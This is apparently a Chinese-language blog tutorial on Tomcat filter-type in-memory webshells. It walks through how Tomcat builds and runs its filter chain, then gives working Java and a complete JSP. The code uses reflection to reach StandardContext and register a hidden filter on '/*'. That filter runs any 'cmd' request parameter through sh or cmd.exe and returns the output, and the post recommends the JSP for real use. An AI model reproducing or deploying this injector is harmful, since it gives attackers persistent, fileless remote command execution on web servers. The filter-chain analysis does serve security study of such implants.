Tomcat内存马:Filter型

Uncategorized
1.6k words

环境搭建

  • Tomcat源码导入
  • Servlet项目创建

流程分析

结合前面说过的知识,我们大体探索了一下tomcat的执行流程,这里附上小图一张,我们将以StandardWrapperValve这个阀门作为起点分析过滤器的执行流程。

要是有闲情雅致的话,当然也可以从第一个管道开始往后顺一下,这里光把断点标一下就跳过了,有兴趣的话可以自己分析。

直接来到StandardWrapperValve#line168处,从初始化FilterChain的位置开始往后分析。request, wrapper, servlet ,能够看的出来我们这三个对象都被作为了参数进行初始化,跟进一下看看

前面的部分就省略掉了,起到的作用大体概况一下,就是从request把filterChain对象取出来供后面使用。真正的关键位置如下

可以看到这里从StandardContext里面取出来了一个名为filterMaps的数组(不要想为什么wrapper能够取出来Context这个东西,wrapper本来就是前面流程的最终产物),这里要着重介绍一下这个filterMap对象以及和它相关的两个小老弟。

  • filterMaps :filterMaps中以array的形式存放各filter的路径映射信息,其对应的是web.xml中的<filter-mapping>标签
  • filterConfigs:其中filterConfigs包含了当前的上下文信息StandardContext、以及filterDef等信息,其filter属性就是当前已定义好的过滤器对象集合。
  • filterDefs:filterDefs是一个HashMap,以键值对的形式存储filterDeffilterDef存放了filter的定义,包括filterClass、filterName等信息。对应的其实就是web.xml中的<filter>标签。

filterConfigs这里要着重注意一下,因为我们所真正定义的过滤器对象,就是存储在它的filter对象里面的,后续的一系列调用都与他息息相关。

补完插叙接着再回到源码分析部分,从line85往后看,来到了两处遍历部分


没有什么特别的,总体来说就是通过从filterMap获得到的Servletname信息,到context中获取filterConfig对象,然后再把获取到的filterConfig对象添加到filterChain里面,这里之所以有两组遍历,主要还是根据requestPath和servletName来做的区分,根据实操来看,第二组遍历在这里是不执行实际作用的。在获取完filterChain之后,我们回到StandardWrapperValve 中,继续执行到 filterChain.doFilter(),跟进分析。

进来之后先判断一下当前的安全设置是否是开着的,如果不是则直接跳转到internalDoFilter(),二跟!

进去之后就是一个遍历filters的操作(存的是刚才放的filterConfigs)
这里的第一个元素是我们的自定义过滤器,第二个是tomcat自带的放filterChain末尾的过滤器
在经过一番无伤大雅的逻辑判断之后,会调用我们的filter.dofilter()执行过滤器内部的代码逻辑,我们跟进去看一下。


filterDemo… 欢迎你
这里可以看到我们在自定义过滤器里面又调用了filterChain.doFilter,可以跟进看看会发生什么

emmmm,通过pos+1的办法,开始往后调用filterChain中下一个设定好的filter,也就是我们的wsfilter,我们多跳几步,看下wsfilter的dofilter之后的代码逻辑。

通过层层加码,最终把filters数组彻底遍历完了,在第三次调用chain.doFilter后,终于在chain.doFilter内部实现了对servlet的访问(就最后调用service那里),至此,整个拦截机制流程彻底走完,后面就是不断的出栈




刚学javaweb的时候,还被这个类似于AOP的拦截机制困扰过一段时间。

Exp编写

通过前文分析,我们可以发现重点在filterConfigs这个数组上,所以我们exp的重心也要放在这个数组上面,相关问题如下。

经过种种分析,可得出以下构造思路
1、获取当前应用的ServletContext对象
2、通过ServletContext对象再获取filterConfigs
2、接着实现自定义想要注入的filter对象
4、然后为自定义对象的filter创建一个FilterDef
5、最后把 ServletContext对象、filter对象、FilterDef全部都设置到filterConfigs即可完成内存马的实现

获取StandardContext对象

稍微回顾一下StandardContext的调用层次结构。根据这个层次结构,我们得到以下代码。

1
2
3
4
5
6
7
8
9
10
//获取ApplicationContextFacade类
ServletContext servletContext = request.getSession().getServletContext();
//反射获取ApplicationContextFacade类属性context为ApplicationContext类
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
//反射获取ApplicationContext类属性context为StandardContext类
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

恶意Filter创建

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package org.example;  
import javax.servlet.*;
import java.io.IOException;
public class Shell_Filter implements Filter {
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
chain.doFilter(request, response);
}
}

filterDef创建

1
2
3
4
5
6
7
//filter名称
String name = "CommonFilter";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);

封装filterConfig及filterDef到filterConfigs

也是稍微回顾下这里的层次结构,然后得出以下代码。


1
2
3
4
5
6
7
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name, filterConfig);

Jsp完整exp

把上面那些组合起来也可以,但真要用的话用下面这个师傅写的更好一点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
<%--
User: Drunkbaby
Date: 2022/8/27
Time: 上午10:31
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>

<%
final String name = "Drunkbaby";
// 获取上下文
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {

}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner( in ).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
servletResponse.getWriter().flush();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name, filterConfig);
out.print("Inject Success !");
}
%>
<html>
<head>
<title>filter</title>
</head>
<body>
Hello Filter
</body>
</html>

执行结果如下